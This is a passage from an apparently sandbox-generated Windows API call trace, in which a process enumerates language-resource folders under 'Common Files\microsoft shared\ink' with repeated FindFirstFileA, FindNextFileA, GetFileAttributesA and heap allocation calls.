RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0122.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0122.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0122.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0122.141] GetCurrentThreadId () returned 0x9b0 [0122.141] GetLastError () returned 0x5 [0122.142] GetLastError () returned 0x5 [0122.142] GetLastError () returned 0x5 [0122.142] GetLastError () returned 0x5 [0122.142] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui", lpFilePart=0x9bada4*="TabTip.exe.mui") returned 0x47 [0122.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0122.142] GetCurrentThreadId () returned 0x9b0 [0122.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0122.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0122.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0122.142] GetLastError () returned 0x5 [0122.142] GetLastError () returned 0x5 [0122.143] GetLastError () returned 0x5 [0122.143] GetLastError () returned 0x5 [0122.143] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui", lpFilePart=0x9bada4*="TipRes.dll.mui") returned 0x47 [0122.143] GetCurrentThreadId () returned 0x9b0 [0122.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0122.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0122.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0122.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0122.143] GetCurrentThreadId () returned 0x9b0 [0122.143] GetLastError () returned 0x5 [0122.143] GetLastError () returned 0x5 [0122.144] GetLastError () returned 0x5 [0122.144] GetLastError () returned 0x5 [0122.144] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0122.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0122.144] GetCurrentThreadId () returned 0x9b0 [0122.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0122.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0122.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0122.144] GetLastError () returned 0x5 [0122.144] GetLastError () returned 0x5 [0122.144] GetLastError () returned 0x5 [0122.145] GetLastError () returned 0x5 [0122.145] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui", lpFilePart=0x9bada4*="TipTsf.dll.mui") returned 0x47 [0122.145] GetCurrentThreadId () returned 0x9b0 [0122.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0122.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0122.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0122.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0122.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0122.145] GetCurrentThreadId () returned 0x9b0 [0122.145] GetLastError () returned 0x5 [0122.145] GetLastError () returned 0x5 [0122.145] GetLastError () returned 0x5 [0122.146] GetLastError () returned 0x5 [0122.146] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a50 [0122.146] GetLastError () returned 0x5 [0122.146] GetCurrentThreadId () returned 0x9b0 [0122.146] GetLastError () returned 0x5 [0122.146] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0122.146] GetLastError () returned 0x5 [0122.146] GetCurrentThreadId () returned 0x9b0 [0122.146] GetLastError () returned 0x5 [0122.146] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0122.147] GetLastError () returned 0x5 [0122.147] GetCurrentThreadId () returned 0x9b0 [0122.147] GetLastError () returned 0x5 [0122.147] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0122.147] GetLastError () returned 0x12 [0122.147] GetCurrentThreadId () returned 0x9b0 [0122.147] GetLastError () returned 0x12 [0122.147] GetLastError () returned 0x12 [0122.147] FindClose (in: hFindFile=0x10f7a50 | out: hFindFile=0x10f7a50) returned 1 [0122.147] GetCurrentThreadId () returned 0x9b0 [0122.147] GetLastError () returned 0x12 [0122.148] GetLastError () returned 0x12 [0122.148] GetLastError () returned 0x12 [0122.148] GetLastError () returned 0x12 [0122.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0122.148] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0122.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0122.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0122.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0122.149] GetLastError () returned 0x12 [0122.149] GetLastError () returned 0x12 [0122.149] GetLastError () returned 0x12 [0122.149] GetLastError () returned 0x12 [0122.150] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0122.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0122.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0122.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0122.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0122.150] GetLastError () returned 0x12 [0122.150] GetLastError () returned 0x12 [0122.150] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7590 [0122.151] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0122.151] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0122.151] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0122.151] FindClose (in: hFindFile=0x10f7590 | out: hFindFile=0x10f7590) returned 1 [0122.151] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui")) returned 0x20 [0122.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0122.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0122.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0122.152] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0122.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0122.152] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7390 [0122.152] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0122.152] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0122.152] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0122.153] FindClose (in: hFindFile=0x10f7390 | out: hFindFile=0x10f7390) returned 1 [0122.153] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0122.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a27d0 | out: hHeap=0x2ad0000) returned 1 [0122.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0122.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0122.153] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0122.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0122.154] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7690 [0122.154] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0122.154] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0122.154] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0122.154] FindClose (in: hFindFile=0x10f7690 | out: hFindFile=0x10f7690) returned 1 [0122.154] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0122.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2510 | out: hHeap=0x2ad0000) returned 1 [0122.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0122.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.156] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0122.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0122.156] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f76d0 [0122.156] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0122.156] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0122.156] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0122.156] FindClose (in: hFindFile=0x10f76d0 | out: hFindFile=0x10f76d0) returned 1 [0122.157] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui")) returned 0x20 [0122.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2778 | out: hHeap=0x2ad0000) returned 1 [0122.157] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0122.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0122.158] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0122.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0122.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0122.158] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0122.158] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0122.158] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0122.158] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0122.158] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0122.159] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0122.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2510 | out: hHeap=0x2ad0000) returned 1 [0122.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0122.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0122.160] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft 